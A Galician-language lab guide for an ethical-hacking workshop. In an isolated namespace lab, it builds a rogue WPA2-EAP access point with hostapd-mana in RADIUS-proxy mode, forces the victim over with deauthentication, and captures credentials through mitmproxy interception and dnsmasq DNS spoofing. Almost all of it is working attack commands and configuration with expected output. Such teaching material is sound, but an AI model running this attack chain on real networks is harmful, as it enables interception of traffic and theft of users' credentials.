Ir ao contido

Guia de Práctica 2.3: MITM Wi-Fi WPA2 (EAP) con hostapd-mana

Baseada na práctica 2-Taller-HE-Practica-WiFi-3.pdf

1. Contexto e Topoloxía

Nesta práctica realizaremos un ataque Adversary-in-the-Middle (AiTM) usando un AP Rogue configurado en modo Proxy RADIUS.

Diferenza clave respecto ao Evil Twin (Práctica 2)

  • Evil Twin: hostapd-wpe con eap_server=1 → captura hash MSCHAPv2 directamente
  • MITM Proxy: hostapd-mana con eap_server=0 → reenvía ao RADIUS real, captura handshakes WPA2 (non crackeables) + tráfico post-autenticación

Obxectivo:
- Interceptar TODO o tráfico da vítima mentres esta mantén acceso funcional á rede
- Capturar credenciais mediante técnicas post-autenticación (SSL Stripping, DNS Spoofing)

1.1. Rol de Interfaces Wi-Fi

Imos empregar:
1. wlan0 para AP lexítimo WPA2 (EAP) (shell bash consola1 → namespace wifi_ap_wlan0)
2. wlan1 para o cliente que se conecta ao AP (shell bash consola2 → namespace wifi_cliente_wlan1)
3. wlan2 e wlan3 como interfaces do atacante que non coñece o contrasinal para conectarse ao AP:

  1. wlan2 MITM (AP Rogue+Proxy) (shell bash consola3 → MITM → namespace mitm_wlan2)
  2. wlan3 Monitor + Deseauth (shell bash consola4 → modo monitor + desautenticar cliente conectado wlan1 → namespace principal = SEN namespace)

1.2. Topoloxía de Rede

Fig. Topoloxía de rede


2. Preparación da Infraestrutura (Consola 1 → Rede Corporativa)

O laboratorio configura automaticamente:
- Bridge br-radius (192.168.50.1/24)
- FreeRADIUS escoitando en 192.168.50.1:1812
- AP lexítimo wlan0 (Canal 6) conectado ao bridge
- Rede corporativa: 192.168.50.0/24
- DHCP: 192.168.50.50 - 192.168.50.100
- Gateway: 192.168.50.1
- Cliente vulnerable wlan1

sudo wifilabctl up eap_mitm
sudo wifilabctl status

Saída esperada:

NAMESPACE                 INTERFACE       IP                   ESTADO
---------------------------------------------------------------------------
wifi_cliente_wlan1        wlan1           192.168.50.XY/24     UP
mitm_wlan2                wlan2           -                    UP
mitm_wlan2                veth0@if12      -                    UP
wifi_ap_wlan0             br0             192.168.50.10/24     UP
wifi_ap_wlan0             wlan0           -                    UP
wifi_ap_wlan0             veth0@if10      -                    UP
---------------------------------------------------------------------------
Interfaces GLOBAIS / ATACANTE:
(global)                  wlan3           (host/monitor)       LISTO

Verificar RADIUS operativo (Páx. 8 do PDF):

sudo netstat -ulnp | grep 1812
# Debe amosar: 192.168.50.1:1812

Verificar que o cliente lexítimo ten Internet:

sudo ip netns exec wifi_cliente_wlan1 bash
# Debería ter IP 192.168.50.XX asignada por DHCP
ip addr show wlan1
ping -c 2 192.168.50.1  # Gateway corporativo
ping -c 2 8.8.8.8       # Internet
curl http://www.example.com  # Web
# Debe funcionar ✓


3. Configuración do MITM AP (Consola 3 → MITM)

Seguindo a Páxina 13-15 do PDF, configuramos hostapd-mana en modo proxy RADIUS.

3.1. Entrar no Namespace MITM

O wifilabctl xa preparou o namespace mitm_wlan2 con:
- Interface veth0 conectada ao bridge br-radius con IP 192.168.50.100/24
- Ruta por defecto cara a 192.168.50.1 (RADIUS)

# Entrar no namespace MITM
sudo ip netns exec mitm_wlan2 bash

# Verificar conectividade co RADIUS (Páx. 13 do PDF)
ping -c 2 192.168.50.1
# Debe responder. Se non, comproba: ip route show e ip addr show veth0

3.2. Preparar wlan2

# Levantar a interface wireless
ip link set wlan2 up

3.3. Crear Configuración de hostapd-mana (Páx. 14 do PDF)

cat > /tmp/mana.conf <<EOF
interface=wlan2
driver=nl80211
ssid=EMPRESA-XYZ
channel=1
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
ieee8021x=1
# CRÍTICO: Proxy RADIUS ao servidor corporativo (192.168.50.1)
auth_server_addr=192.168.50.1
auth_server_port=1812
auth_server_shared_secret=testing123
# Modo MANA: interceptación + proxy transparente
mana_wpe=1
mana_eapsuccess=1
mana_credout=/tmp/mana-credentials.log
# IMPORTANTE: eap_server=0 significa modo PROXY (non servidor EAP local)  
eap_server=0
# Logging avanzado
logger_syslog=-1
logger_stdout=-1
logger_stdout_level=2
EOF

3.4. Executar hostapd-mana (Páx. 15)

/opt/hostapd-mana/hostapd/hostapd /tmp/mana.conf 2>&1 | tee /tmp/mana-ap.log

Saída esperada:

Configuration file: /tmp/mana.conf
MANA: Captured credentials will be written to file '/tmp/mana-credentials.log'.
Using interface wlan2 with hwaddr aa:bb:cc:dd:ee:ff and ssid "EMPRESA-XYZ"
wlan2: RADIUS Authentication server 192.168.50.1:1812
wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED

Deixa hostapd-mana executándose e abre unha nova terminal para continuar.


3.5. Configurar Rede e DHCP (Nova Terminal → Consola 3b)

IMPORTANTE: Sen DHCP, o cliente tería que configurar a IP manualmente (obviamente sospeitoso). Con DHCP, o ataque é totalmente transparente.

# Entrar de novo no namespace MITM
sudo ip netns exec mitm_wlan2 bash

# Asignar IP a wlan2 (hostapd elimínaa ao arrancar)
ip addr add 10.0.0.1/24 dev wlan2

# Verificar
ip addr show wlan2
# Debe amosar: inet 10.0.0.1/24

# Configurar dnsmasq (servidor DHCP + DNS)
# CRÍTICO: dhcp-option=6 debe apuntar ao propio MITM (10.0.0.1) como DNS,
# non a 8.8.8.8. Se o cliente usa 8.8.8.8 directamente, dnsspoof non intercepta nada.
cat > /tmp/dnsmasq-mitm.conf <<EOF
interface=wlan2
dhcp-range=10.0.0.10,10.0.0.50,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
# Reenviar consultas non spoofadas ao DNS real
server=8.8.8.8
log-queries
log-dhcp
EOF

# Arrancar dnsmasq
dnsmasq -C /tmp/dnsmasq-mitm.conf -d &

Saída esperada:

dnsmasq: started, version 2.91 cachesize 150
dnsmasq: compile time options: ...
dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.50, lease time 12h
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 1.1.1.1#53
...

Agora o MITM AP está totalmente funcional con:
- Autenticación EAP (proxy a RADIUS real)
- Servidor DHCP (asignación automática de IPs)
- Gateway e DNS configurados
- NAT preparado (do wifilabctl)


4. Desautenticación e Forzado (Consola 4 → Monitor)

Forzamos á vítima a migrar ao noso AP (Canal 1) que ten mellor sinal.

4.1. Configurar Monitor (Páx. 16 do PDF)

# Activar modo monitor en wlan3 (sen illar en namespace)
sudo airmon-ng start wlan3

4.2. Escanear Ambos APs

sudo airodump-ng wlan3mon

Deberías ver:
- Canal 6: <BSSID_wlan0> EMPRESA-XYZ (AP lexítimo)
- Canal 1: <BSSID_wlan2> EMPRESA-XYZ (MITM)

Anota o BSSID do AP lexítimo (wlan0) e logo preme Ctrl+C

4.2.1 Escanear soamente o AP lexítimo

sudo airodump-ng wlan3mon -c 6

Anota a MAC do Cliente lexítimo (wlan1).

4.3. Configurar Canal e Desautenticar (Páx. 16-17)

# CRÍTICO: Configurar wlan3mon NO CANAL DO AP LEXÍTIMO (6)
Ctrl + C
sudo airmon-ng stop wlan3mon
sudo airmon-ng start wlan3 6

# Verificar
sudo iw dev wlan3mon info | grep channel
# Debe amosar: channel 6 (2437 MHz)

# Desautenticar cliente (wlan1) do AP lexítimo (wlan0)
# Substituír <BSSID_wlan0> polo BSSID real anotado antes
sudo aireplay-ng --deauth 50 -a <BSSID_wlan0> wlan3mon

Saída esperada:

09:30:15 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 6
09:30:15 Sending 64 directed DeAuth...
09:30:16 Sending 64 directed DeAuth...


5. Verificación de Conexión ao MITM (Consola 2)

Comprobamos que o cliente migrou ao MITM.

# Entrar no namespace do cliente
# sudo ip netns exec wifi_cliente_wlan1 bash

# Verificar a que AP está conectado
iw dev wlan1 link

Se conectou ao MITM (ÉXITO):

Connected to <BSSID_wlan2> (on wlan1)
SSID: EMPRESA-XYZ
freq: 2412 ← Canal 1 (MITM wlan2) ✓

Se conectou ao lexítimo (repetir desautenticación na Consola 4):

Connected to <BSSID_wlan0> (on wlan1)
freq: 2437 ← Canal 6 (AP lexítimo wlan0)


6. Captura de Handshakes WPA2 (Consola 3)

Unha vez que o cliente conecta ao MITM, hostapd-mana captura handshakes WPA2.

6.1. Visualizar Logs (Páx. 18 do PDF)

Volve á Consola 3 (onde está executándose hostapd-mana) e verás: NOTA: Consideramos a MAC do cliente lexítimo: 7a:10:a4:c1:ae:3d

wlan2: STA 7a:10:a4:c1:ae:3d IEEE 802.11: authenticated
wlan2: STA 7a:10:a4:c1:ae:3d IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 7a:10:a4:c1:ae:3d
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA: Captured a WPA/2 handshake from: 7a:10:a4:c1:ae:3d
MANA WPA2 HASHCAT | WPA*02*4cb8c817f8bee9e5bcc02b78f4d2200c*...
wlan2: STA 7a:10:a4:c1:ae:3d WPA: pairwise key handshake completed (RSN)
wlan2: AP-STA-CONNECTED 7a:10:a4:c1:ae:3d
wlan2: STA 7a:10:a4:c1:ae:3d RADIUS: starting accounting session 99D2DACFAD14AB90
wlan2: STA 7a:10:a4:c1:ae:3d IEEE 802.1X: authenticated - EAP type: 25 (PEAP)

7. Tentativa de Crackear Handshake WPA2 (Consola 5 → Análise)

7.1. Extraer Hash WPA2 (Páx. 18-19 do PDF)

Nunha nova terminal (Consola 5):

# Extraer o primeiro handshake dos logs
grep "MANA WPA2 HASHCAT" /tmp/mana-ap.log | head -1 | awk -F'|' '{print $2}' | tr -d ' ' > /tmp/wpa2-handshake.hc22000

# Verificar hash extraído
cat /tmp/wpa2-handshake.hc22000
# Debe amosar: WPA*02*...

7.2. Tentar Crackear con hashcat (Modo 22000)

# Descomprimir rockyou
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt

# Crackear handshake WPA2-EAP
hashcat -m 22000 /tmp/wpa2-handshake.hc22000 /tmp/rockyou.txt

Resultado: Exhausted (NON atopa nada)

7.3. Conclusión Crítica (Páx. 19 do PDF)

IMPORTANTE: Limitación de WPA2-EAP

En WPA2-EAP, o handshake WPA2 capturado NON contén a contrasinal do usuario.

Diferenza técnica:
- WPA2-PSK: PMK = PBKDF2(contrasinal, SSID) → Crackeable con dicionario
- WPA2-EAP: PMK = Derivada do MSK (Master Session Key) → NON crackeable con dicionario

O MSK xérao o servidor RADIUS durante a autenticación EAP/PEAP e NON está relacionado directamente coa contrasinal do usuario "1234".

Para capturar credenciais en WPA2-EAP, necesitas:
1. Modo Evil Twin (eap_server=1) sen proxy → captura hash MSCHAPv2 (Práctica 2) ✓
2. Interceptar tráfico post-autenticación (SSL Stripping, DNS Spoofing) ✓ ← Continuamos aquí


8. Interceptación de Tráfico con mitmproxy (Consola 6 → namespace mitm_wlan2)

Dado que non podemos crackear o handshake WPA2-EAP, interceptamos o tráfico HTTP/HTTPS do cliente despois de autenticarse usando mitmproxy.

Nota: sslstrip está obsoleto en Kali (incompatible con Python 3). Usamos mitmproxy como substituto moderno.

8.1. Entrar no Namespace MITM

sudo ip netns exec mitm_wlan2 bash

8.2. Instalar mitmproxy (se non está)

apt update && apt -y install mitmproxy

8.3. Configurar NAT

O tráfico do cliente (10.0.0.0/24) debe saír por veth0br-radius → Internet.

# Verificar namespace
ip netns identify
# Debe amosar: mitm_wlan2

# NAT para dar Internet ao cliente
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o veth0 -j MASQUERADE

# Verificar
iptables -t nat -L POSTROUTING -n -v

8.4. Configurar DNS

# Comprobar configuración servidores DNS
cat /etc/resolv.conf
  nameserver 8.8.8.8
  nameserver 1.1.1.1

#No caso que non aparezan eses servidores DNS, executar:
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 1.1.1.1" >> /etc/resolv.conf

8.5. Verificar Conectividade

ping -c 2 8.8.8.8
# Debe funcionar ✓

Se NON funciona, volve á Consola 1 e verifica o NAT no bridge:

sudo iptables -t nat -A POSTROUTING -s 192.168.50.0/24 -o eth0 -j MASQUERADE

8.6. Redirixir Portos HTTP e HTTPS a mitmproxy

# Redirixir HTTP (80) e HTTPS (443) ao proxy (8080)
iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 80  -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Verificar
iptables -t nat -L PREROUTING -n -v | grep 8080

8.7. Executar mitmproxy

# Arrancar mitmproxy en modo transparente, gardando flows en /tmp
mitmproxy --mode transparent --showhost -w /tmp/mitm-capture.flow

Saída esperada: Fig. Execución mitmproxy

Deixa isto executándose na Consola 6.

Nota técnica: -w garda os flows capturados no ficheiro /tmp/mitm-capture.flow. Este ficheiro é accesible desde calquera namespace porque ip netns só illa a rede, non o sistema de ficheiros.


9. PUNTO DE DECISIÓN: Continuar ao ataque MITM (Consolas 3, 4 e 6)

Agora continuamos a:
- Consola 3: Configurar hostapd-mana (AP Rogue no Canal 1)
- Consola 4: Desautenticar ao cliente para forzar migración ao MITM
- Consola 6: Configurar mitmproxy para interceptar tráfico


9.1. DESPOIS de Desautenticación: Renovar IP do MITM

Esta sección só se aplica DESPOIS de:

  1. Executar hostapd-mana na Consola 3 (AP Rogue no Canal 1)
  2. Executar aireplay-ng na Consola 4 (desautenticación)
  3. Confirmar que o cliente migrou ao MITM

9.1.1. Verificar Migración ao MITM

# Verificar a que AP está conectado AGORA  
iw dev wlan1 link  

Se conectou ao MITM (ÉXITO):

Connected to XX:XX:XX:XX:XX:XX (on wlan1)
SSID: EMPRESA-XYZ
freq: 2412 ← Canal 1 (MITM) ✓

Se aínda está no AP lexítimo (repetir desautenticación na Consola 4):

Connected to XX:XX:XX:XX:XX:XX (on wlan1)
freq: 2437 ← Canal 6 (AP lexítimo)


9.1.2. Renovar IP para a Rede do MITM

Unha vez confirmada a migración ao MITM, renovamos a IP:

# Liberar a IP antiga do AP lexítimo (192.168.50.XX)
dhclient -r wlan1

# Solicitar nova IP do MITM (rede 10.0.0.0/24)
dhclient -v wlan1

# Verificar nova IP asignada polo dnsmasq do MITM
ip addr show wlan1
# Debe amosar: inet 10.0.0.XX/24 ✓

# Verificar nova ruta por defecto
ip route show
# Debe amosar: default via 10.0.0.1 dev wlan1 ✓

9.2 Verificar Conectividade co MITM

# Ping ao gateway MITM
ping -c 2 10.0.0.1
# Debe funcionar ✓

# Ping a Internet (a través do NAT do MITM)
ping -c 2 8.8.8.8
# Debe funcionar ✓

9.3 Xerar Tráfico HTTP (AGORA SI Interceptado)

Agora SI, o tráfico será interceptado por mitmproxy (se configuraches a Consola 6):

# Simular login HTTP con credenciais
curl -X POST http://testphp.vulnweb.com/login.php -d "username=test&password=test123"

# Tentar HTTPS (mitmproxy converterao a HTTP se é posible)
curl http://www.example.com

Agora na Consola 6, deberían aparecer as credenciais interceptadas:

POST http://testphp.vulnweb.com/login.php
username=test&password=test123

Fig. Captura de credenciais - mitmproxy


10. Conclusión e Técnicas de Ataque Post-Autenticación

O ataque MITM con hostapd-mana en modo proxy RADIUS ten vantaxes estratéxicas respecto ao Evil Twin.


10.1. Vantaxes do MITM Proxy vs Evil Twin

Característica Evil Twin (P2) MITM Proxy (P3)
Captura MSCHAPv2 ✓ Si (hash crackeable) ✗ Non (só handshakes WPA2)
Transparencia ✗ Cliente perde conectividade ✓ Cliente mantén acceso funcional
Persistencia ✗ Ataque puntual ✓ Interceptación continua
Captura de Sesións ✗ Limitado ✓ Cookies, tokens, credenciais HTTP

10.2. Limitacións Técnicas

1. Handshakes WPA2-EAP NON crackeables
Como vimos na Consola 5 (hashcat):
- En WPA2-PSK: PMK = PBKDF2(contrasinal, SSID) → Crackeable
- En WPA2-EAP: PMK = Derivada do MSK (Master Session Key) → NON crackeable

O MSK xérao o servidor RADIUS durante a autenticación EAP/PEAP e NON está relacionado coa contrasinal do usuario "1234".

2. Necesidade de técnicas post-autenticación
Para capturar credenciais en WPA2-EAP MITM, debemos usar:
1. Interceptación de tráfico HTTP (páx. 20-21 do PDF)
2. DNS Spoofing (redirixir dominios a servidores falsos)
3. ARP Spoofing (se hai máis clientes na rede)
4. SSL Stripping (NON nativo en mitmproxy - require configuración avanzada)


10.3. Técnicas de Captura de Credenciais

A) Interceptación HTTP con mitmproxy (Consola 6)

Limitación de mitmproxy en modo transparente:
- mitmproxy --mode transparent NON fai SSL Stripping automático
- Intercepta HTTPS mediante un certificado MITM que o cliente pode rexeitar
- Só captura credenciais en sitios HTTP puros ou con certificados aceptados

Alternativas para SSL Stripping real:
1. sslstrip2 (requiere configuración manual con iptables)
2. bettercap (con módulo http.proxy + dns.spoof)
3. ettercap con plugins personalizados

B) DNS Spoofing (Consola 3b - namespace mitm_wlan2)

Redirixir dominios lexítimos a páxinas de phishing. O método correcto neste escenario é dnsmasq address=, xa que o cliente usa 10.0.0.1 como DNS (configurado por DHCP) e as consultas chegan directamente a dnsmasq.

⚠️ Por que NON usar dnsspoof aquí: dnsspoof funciona por sniffing de paquetes e require que o tráfico DNS pase pola interface que monitoriza. Se o cliente está configurado para usar 10.0.0.1 como DNS, as consultas chegan como tráfico unicast directo a dnsmasqdnsspoof non as captura. Ademais, dnsspoof non actúa como servidor DNS real, polo que as consultas non spoofadas quedan sen resposta.

# Entrar ao namespace MITM (se non estás xa)
sudo ip netns exec mitm_wlan2 bash

# Engadir regras de spoofing a dnsmasq en tempo real (sen reiniciar)
# address=/dominio/IP redirixe ese dominio á IP do MITM
echo "address=/login.empresa.com/10.0.0.1" >> /tmp/dnsmasq-mitm.conf
echo "address=/mail.empresa.com/10.0.0.1"  >> /tmp/dnsmasq-mitm.conf

# Recargar dnsmasq (SIGHUP aplica os cambios sen cortar o DHCP)
kill -HUP $(pgrep dnsmasq)

Verificar desde o cliente (Consola 2):

# Entrar no namespace do cliente
sudo ip netns exec wifi_cliente_wlan1 bash

# Verificar que o DNS asignado é o MITM
cat /etc/resolv.conf
# Debe amosar: nameserver 10.0.0.1

# Verificar o spoofing
nslookup login.empresa.com 10.0.0.1
# Debe resolver a: 10.0.0.1 (IP do MITM) ✓

nslookup google.com 10.0.0.1
# Debe resolver normalmente (reenvío a 8.8.8.8) ✓

C) ARP Spoofing

O punto clave é que o atacante xa está “no medio” sen ARP spoofing, porque:
- O atacante levanta un AP Rogue (wlan2) e dá servizo de DHCP ao cliente.
- O cliente recibe como gateway o propio atacante (10.0.0.1).
- Polo tanto, todo o tráfico do cliente pasa polo atacante “de forma natural” (MITM por topoloxía), e logo sae a Internet vía NAT.


10.4. Limitacións de HSTS (HTTP Strict Transport Security)

Sitios con HSTS son inmunes a SSL Stripping con mitmproxy:
- Exemplo: Google, Facebook, Twitter, GitHub
- O navegador obriga a usar HTTPS incluso se o MITM tenta redirixir a HTTP
- Solución: Phishing con dominios similares (typosquatting)

HSTS e Typosquatting: por que importan (e como che afectan no lab)

HSTS (HTTP Strict Transport Security) é unha política que un sitio web envía ao navegador para forzar sempre HTTPS durante un tempo. Se un dominio ten HSTS activo, o navegador non aceptará o “downgrade” a HTTP, polo que técnicas tipo SSL Stripping deixan de funcionar (no MITM do taller verás que só é viable cando o sitio permite fluxo HTTP→HTTPS e non ten HSTS).

Typosquatting é unha técnica de suplantación por erro tipográfico: o atacante rexistra dominios moi parecidos a un lexítimo (p.ex. cambiando unha letra, engadindo un guión, usando outro TLD) para capturar credenciais ou distribuír malware. No contexto dun MITM, adoita combinarse con DNS spoofing para redirixir á vítima a ese dominio “case igual”; por iso, unha defensa clave é validación estrita de certificados/CA e boas prácticas de navegación (marcadores, contrasinais con autocompletado só en dominios exactos, e políticas corporativas).


10.5. Obxectivo Acadado

Interceptación completa do tráfico da vítima
Captura de credenciais mediante:

- Tráfico HTTP en texto claro  
- DNS Spoofing a sitios de phishing

Acceso invisible á rede corporativa
Capacidade de movemento lateral e ataques internos

⚠️ NON capturamos hash MSCHAPv2 (para iso, usar Evil Twin - Práctica 2)
⚠️ NON crackeamos handshakes WPA2-EAP (tecnicamente imposible)


11. Limpeza

Ao rematar, apaga o escenario.

sudo wifilabctl reset